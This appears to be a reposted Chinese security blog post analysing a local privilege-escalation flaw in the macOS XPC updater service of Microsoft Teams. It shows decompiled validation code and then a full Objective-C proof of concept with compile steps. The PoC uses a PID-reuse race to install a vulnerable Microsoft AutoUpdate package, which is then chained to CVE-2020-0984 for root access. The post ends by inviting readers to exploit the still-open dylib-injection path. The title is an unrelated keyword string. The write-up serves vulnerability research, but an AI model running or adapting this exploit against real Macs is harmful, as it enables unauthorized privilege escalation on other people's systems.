macos无法验证此app不包含恶意软件_深入分析macOS本地提权漏洞

8b76af2f4f5dddbf5f82ab38628236a7.png 点击上方 蓝字 关注我们

本篇文章主要介绍了研究人员在Microsoft Teams的XPC服务中发现的漏洞,尽管微软已经尽可能的确保这些服务的安全,但是我们依然能看到细小的代码错误将造成怎样严重的影响。研究人员已将此问题上报MSRC,但其表明这一发现是有效的,但不符合他们的立即维修标准。自微软加强XPC服务以来,该漏洞仍然可以被利用。

漏洞产生的根本原因

该漏洞是由两个不同的问题共同导致的结果,这两个问题分别是:

  1. 不安全的XPC验证连接

  2. 用户对软件安装包的控制以及软件包签名的验证不足

XPC服务通过以下文件启动:

/Library/LaunchDaemons/com.microsoft.teams.TeamsUpdaterDaemon.plist
% sudo plutil -convert xml1 /Library/LaunchDaemons/com.microsoft.teams.TeamsUpdaterDaemon.plist -o -<?xml version="1.0" encoding="UTF-8"?><plist version="1.0"><dict><key>Labelkey><string>com.microsoft.teams.TeamsUpdaterDaemonstring><key>MachServiceskey><dict>     <b><key>com.microsoft.teams.TeamsUpdaterDaemonkey>b>     <true/>dict><key>Programkey><b><string>/Applications/Microsoft Teams.app/Contents/TeamsUpdaterDaemon.xpc/Contents/MacOS/TeamsUpdaterDaemonstring>b>dict>plist>
列表1 Microsoft Teams Updater启动文件

它包含一个名为com.microsoft.teams.TeamsUpdaterDaemon的Mach服务,该服务的可执行路径为/Applications/MicrosoftTeams.app/Contents/Tea。该位置非常特别,因为类似的服务通常安装在/Library/PrivilegedHelperTools/目录下。

如果我们使用Hopper或其他反汇编程序打开该二进制文件,则可以使用shouldAcceptNewConnection:方法开始调查。该方法通常负责控制对XPC服务的连接访问。

/* @class ServiceDelegate */-(char)listener:(void *)arg2 shouldAcceptNewConnection:(void *)arg3 {r12 = [arg3 retain];rdx = r12;r14 = [self isValidConnection:rdx];
列表2 shouldAcceptNewConnection:方法的开端

shouldAcceptNewConnection:方法将接受包含对连接客户端引用的NSXPCConnection对象作为其参数。在该情况下,此参数为arg3,该参数将立即被传递给验证客户端连接的isValidConnection:方法。接下来将对反汇编程序中的isValidConnection:方法进行分析。

-(char)isValidConnection:(void *)arg2 {r13 = [arg2 retain];rbx = [[Logger getInstance] retain];[rbx logInfo:@"Validating connection"];[rbx release];rbx = [arg2 processIdentifier];
列表3 sValidConnection:方法的开端

isValidConnection:方法将获取客户端的PID,以用于验证。如果开发人员使用的是auditToken属性而不是PID,则XPC服务将能够验证连接服务是否为预期的服务。但是,可以通过重用PID或生成新进程并继承父进程的PID,从而绕过验证。

通过processIdentifier进行连接的确切验证非常复杂,超出了本文的讨论范围。但是,由于它使用PID,因此我们始终可以绕过验证。

通过查看主应用程序的代码签名,可以发现另一个问题:

% codesign -dv --entitlements :- /Applications/Microsoft\ Teams.appExecutable=/Applications/Microsoft Teams.app/Contents/MacOS/TeamsIdentifier=com.microsoft.teamsFormat=app bundle with Mach-O thin (x86_64)CodeDirectory v=20500 size=383 flags=0x10000(runtime) hashes=3+5 location=embeddedSignature size=9060Timestamp=2020. Jun 4. 3:32:37Info.plist entries=17TeamIdentifier=UBF8T346G9Runtime Version=10.12.0Sealed Resources version=2 rules=13 files=128Internal requirements count=1 size=180<?xml version="1.0" encoding="UTF-8"?><plist version="1.0"><dict><key>com.apple.security.device.camerakey><true/><key>com.apple.security.device.audio-inputkey><true/><key>com.apple.security.personal-information.locationkey><true/><key>com.apple.security.automation.apple-eventskey><true/><key>com.apple.security.cs.allow-jitkey><true/><key>com.apple.security.cs.allow-unsigned-executable-memorykey><true/><b><key>com.apple.security.cs.disable-library-validationkey>b><b><true/>b><key>com.apple.security.cs.disable-executable-page-protectionkey><true/>dict>plist>
列表4 “Microsoft Teams.app”的代码签名

即便使用了audit_token,MS Teams应用程序也容易遭受dylib代理攻击,因为com.apple.security.cs.disable-library-validation授权被设置为true。这将允许我们能够将dylib注入应用程序,并在连接到XPC服务时对其进行模拟。

尽管该应用程序的文件夹只能由root用户写入,并且我们不能替换其中的任何dylib,但恶意攻击者仍可以将其复制到另一个位置(如: /tmp/)并注入到复制的应用程序中。

我们可以看到,应用程序文件夹中有许多Dylibs可供劫持。

/Applications/Microsoft Teams.app/Contents/Resources/app.asar.unpacked/node_modules/slimcore/bin/libskypert.dylib/Applications/Microsoft Teams.app/Contents/Resources/app.asar.unpacked/node_modules/slimcore/bin/libRtmControl.dylib/Applications/Microsoft Teams.app/Contents/Resources/app.asar.unpacked/node_modules/slimcore/bin/libssScreenVVS2.dylib/Applications/Microsoft Teams.app/Contents/Resources/app.asar.unpacked/node_modules/slimcore/bin/libRtmMediaStack.dylib/Applications/Microsoft Teams.app/Contents/Frameworks/Electron Framework.framework/Versions/A/Libraries/libffmpeg.dylib
列表5–"Microsoft Teams.app"中的Dylibs

现在,我们已经找到了与该服务进行通讯的各种方式,我们需要检查XPC服务是否提供了任何可以提权的功能。针对服务二进制文件运行类转储/Applications/Microsoft Teams.app/Contents/TeamsUpdaterDaemon.xpc/Contents/MacOS/TeamsUpdaterDaemon,允许我们转储服务方法。查看输出后,我们发现TeamsUpdaterDaemonProtocol,它定义了可通过XPC连接调用的方法。

@protocol TeamsUpdaterDaemonProtocol- (void)installUpdateWithPackage:(NSString *)arg1 withPreferences:(NSDictionary *)arg2 withReply:(void (^)(NSString *))arg3;- (void)ping:(void (^)(void))arg1;@end
列表6–TeamsUpdaterDaemonProtocol定义

让我们在Hopper中加载installUpdateWithPackage:withPreferences:withReply:并查看其作用。这是一个相当冗长的功能,下面显示了其关键部分的代码段。

-(void)installUpdateWithPackage:(void *)arg2 withPreferences:(void *)arg3 withReply:(void *)arg4 {r13 = [arg2 retain];(...)var_278 = r13;rcx = r13;(...)rbx = [[NSString stringWithFormat:@"inside installUpdateWithPackage. packagePath: %@", rcx] retain];(...)r15 = var_278;(...)rdx = r15;if ([rax fileExistsAtPath:rdx] == 0x0) goto loc_100006043;(...)[Utility clearPkgsInAppSupport];rax = [Utility copyPkgToAppSupport:r15];(...)r12 = rax;if ([Utility lockPackage:r12] == 0x0) goto loc_100006350;(...)if ((r13)(r14, @selector(validatePackage:), r12) == 0x0) goto loc_10000653c;(...)rdx = r12;(...)(r13)(r14, @selector(installPackage:withPreferences:), rdx, rcx, 0x0);
列表7–installUpdateWithPackage:withPreferences:withReply:的关键部分

installUpdateWithPackage:withPreferences:withReply:方法接受包路径作为参数。该路径受用户控制,可以在文件系统上的任何位置。该方法将检查文件是否存在(第12行),如果存在,它将清理应用程序支持文件夹(第14行)。接下来,该方法将调用copyPkgToAppSupport:(第15行)将包复制到应用程序支持的文件夹,只有root用户可以访问该文件夹。它将锁定复制的文件(第18行)对其进行验证(第20行)。这很重要,因为复制后,我们将无法再控制该软件包。

复制包后,将调用以下validatePackage:方法

-(bool)validatePackage:(void *)arg2 {(...)r13 = [[NSTask alloc] init];[r13 setLaunchPath:@"/usr/sbin/pkgutil"];var_30 = r14;rcx = r14;rbx = [[NSArray arrayWithObjects:@"--check-signature"] retain];[r13 setArguments:rbx];[rbx release];rbx = [[Logger getInstance] retain];[rbx logInfo:@"launching pkgutil task"];(...)if (r15 != 0x0) {rsi = @selector(logError:);rdx = @"pkgutil verification failed";(*_objc_msgSend)(rbx, rsi);[rbx release];rbx = 0x0;r14 = var_30;}else {[rbx logInfo:@"pkgutil verification passed. Checking certificate chain...", rcx, 0x0];[rbx release];r14 = var_30;r15 = _FValidMicrosoftPackage([objc_retainAutorelease(r14) UTF8String], @selector(UTF8String));(...)Listing 8 – The validatePackage: method
列表8–validatePackage:方法

validatePackage:方法将使用pkgutil来检查软件包是否经过代码签名。如果签名,它将调用_FValidMicrosoftPackage。

int _FValidMicrosoftPackage(int arg0, int arg1) {(...)rbx = _FCertContainsIdentityForKey(r15, rsi, @"Microsoft Corporation");r13 = **_kSecOIDOrganizationalUnitName;r14 = _FCertContainsIdentityForKey(r15, r13, @"UBF8T346G9") & rbx;rbx = **_kSecOIDX509V1IssuerName;var_29 = _FCertContainsIdentityInOIDForKey(r15, rbx, var_58, @"Apple Inc.");var_48 = rbx;var_50 = r13;rbx = _FCertContainsIdentityInOIDForKey(r15, rbx, r13, @"Apple Certification Authority") & var_29;r13 = SecPolicyCreateBasicX509();var_68 = r15;if (r13 != 0x0) {var_38 = 0x0;rax = SecTrustCreateWithCertificates(r15, r13, &var_38);r15 = 0x0;if (rax == 0x0) {r15 = 0x0;if (0x0 != 0x0) {var_29 = rbx;SecTrustEvaluate(0x0, &var_74);if (var_74 == 0x4) {rax = SecTrustGetCertificateCount(0x0);if (rax > 0x0) {r15 = SecTrustGetCertificateAtIndex(0x0, rax - 0x1);r15 = _FCertContainsIdentityInOIDForKey(r15, var_48, var_50, @"Apple Certification Authority") & _FCertContainsIdentityInOIDForKey(r15, var_48, var_58, @"Apple Inc.") & _FCertContainsIdentityForKey(r15, var_50, @"Apple Certification Authority");(...)
列表9–_FValidMicrosoftPackage函数

_FValidMicrosoftPackage函数负责验证微软的签名。但重要的是,验证正确后它将不会阻止安装较旧的,包含漏洞的Microsoft应用程序。

总而言之,研究人员发现可以通过执行dylib劫持或PID重用攻击与MS Teams的XPC服务进行对话。该服务提供了一个功能,该功能允许我们安装自定义的Microsoft签名的安装程序包。尽管签名验证正确完成,但这仍允许我们安装可能包含已知漏洞的旧版Microsoft应用程序。

漏洞利用

为了利用Teams应用程序,我们使用经典的条件竞争PID重用攻击,以连接到XPC服务。由于每次调用XPC服务都将执行clearPkgsInAppSupport:方法,并且将删除应用程序支持文件夹中的内容,所以我们只需要得到一次竞争条件即可。如果我们再次得到竞争条件,复制的文件将被删除,从而导致利用失败。

一旦可以与XPC服务进行通信,我们将安装Microsoft AutoUpdate(MAU)4.20,该更新版本含有本地特权升级漏洞,该漏洞的CVE编号为CVE-2020-0984。

利用计划如下:

  1. 通过PID重用攻击与XPC服务进行对话

  2. 安装包含漏洞的Microsoft AutoUpdate版本

  3. 利用MAU XPC服务中的本地提权漏洞(CVE-2020-0984)

运行漏洞利用程序之前,我们需要包含漏洞的MAU安装程序放置在正确的位置。下载Microsoft_AutoUpdate_4.20.20020900_Updater.pkg程序包,并将其放在/tmp/目录中。然后,我们可以调用XPC服务的installUpdateWithPackage:withPreferences:withReply:方法并执行PID重用攻击。

完整的概念证明代码(PoC)如下所示。

#import #include #include @protocol TeamsUpdaterDaemonProtocol- (void)installUpdateWithPackage:(NSString *)arg1 withPreferences:(NSDictionary *)arg2 withReply:(void (^)(NSString *))arg3;- (void)ping:(void (^)(void))arg1;@endint main(void) {//Only 2 is the race count, more than that will result in deletion of our own pkg files#define RACE_COUNT 2// Define application allowed to communicate with XPC service#define kValid "/Applications/Microsoft Teams.app/Contents/MacOS/Teams"extern char **environ;int pids[RACE_COUNT];for (int i = 0; i < RACE_COUNT; i++){int pid = fork();//Only enter for child processif (pid == 0){NSString* _serviceName = @"com.microsoft.teams.TeamsUpdaterDaemon";//Connect to Vulnerable XPC ServiceNSXPCConnection* _agentConnection = [[NSXPCConnection alloc] initWithMachServiceName:_serviceName options:4096];[_agentConnection setRemoteObjectInterface:[NSXPCInterface interfaceWithProtocol:@protocol(TeamsUpdaterDaemonProtocol)]];[_agentConnection resume];// Handle error if one occursid obj = [_agentConnection remoteObjectProxyWithErrorHandler:^(NSError* error){(void)error;NSLog(@"Connection Failure");}];NSLog(@"obj: %@", obj);NSLog(@"conn: %@", _agentConnection);//run MS installer//pkg pathNSString* pkg = @"/tmp/Microsoft_AutoUpdate_4.20.20020900_Updater.pkg";//preferences dictionary objects, a random UID, and the current user's nameNSDictionary *dict = [NSDictionary dictionaryWithObjects:@[@"48fe48cc-1c3a-4bf8-a731-1947150b4a3f",NSUserName()]forKeys:@[@"TeamsPreferenceCorrelationId",@"TeamsPreferenceUsername"]];//call the XPC[obj installUpdateWithPackage:pkg withPreferences:dict withReply:^(NSString* arg3){NSLog(@"%@",arg3);}];//Spawn a new process with a pid reused of the current child. This process will have a valid MS signature since we spawn MS Teams//Once the connection is verified with the valid spawned process, the message sent above will be consumedchar target_binary[] = kValid;char *target_argv[] = {target_binary, NULL};posix_spawnattr_t attr;posix_spawnattr_init(&attr);short flags;posix_spawnattr_getflags(&attr, &flags);flags |= (POSIX_SPAWN_SETEXEC | POSIX_SPAWN_START_SUSPENDED);posix_spawnattr_setflags(&attr, flags);posix_spawn(NULL, target_binary, NULL, &attr, target_argv, environ);}printf("forked %d\n", pid);pids[i] = pid;}// keep the children alivesleep(10);cleanup:for (int i = 0; i < RACE_COUNT; i++){pids[i] && kill(pids[i], 9);}}Listing 10 – The full POC for MS Teams
列表10–PoC代码

我们可以使用以下命令编译此代码:

gcc -framework Foundation msteamspid.m -o msteamspid

列表11– 编译漏洞

运行漏洞利用程序后,我们需要检查MAU软件包是否已被安装。由于漏洞利用了竞争条件,因此我们可能需要多次运行它,并根据机器的速度,调整RACE_COUNT变量。

查看位于/Library/Logs/Microsoft/Teams/updater.log的XPC服务日志,以下条目应只显示一次,否则利用将失败。

2020-07-05 15:35:28 [TeamsUpdaterDaemon] <727> -- Info -- Connection validated
列表12–日志中的XPC客户端代码验证失败

列表12中显示的条目指示成功的客户端验证。如前所述,多次调用installUpdateWithPackage:withPreferences:withReply:将导致在clearPkgsInAppSupport:调用期间pkg文件被删除,并且安装失败。

成功利用漏洞后,我们需要利用刚刚通过XPC调用安装的MAU应用程序。并通过向旧版Microsoft AutoUpdate注入dylib利用该漏洞。正如我们在这种情况下所看到的,因为较旧的代码仍然可以满足要求,所以即使是正确的签名验证也可能导致问题。

总结

在本文中,研究人员分析了Microsoft Teams中的XPC漏洞,该漏洞是XPC服务中的两个问题共同导致的。解决其中任意一个问题即可以防止漏洞利用。

该应用程序容易受到XPC帮助器工具中不正确的客户端验证的攻击。一般而言,如果不能正确保护此连接,则将允许其他应用程序连接并调用该服务公开的方法。这通常会造成特权提升,因此从安全角度来看,此验证至关重要。

微软虽然修复了PID重用问题,但是客户端应用程序依然容易受到注入的影响,且仍可以与XPC服务进行对话。读者仍然可以利用这种情况进行技术练习。

88a5f354aafd0058152f97d1d7ccb241.png

END

55262031076c1e4c577626ec9faed854.png

好文!必须在看
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值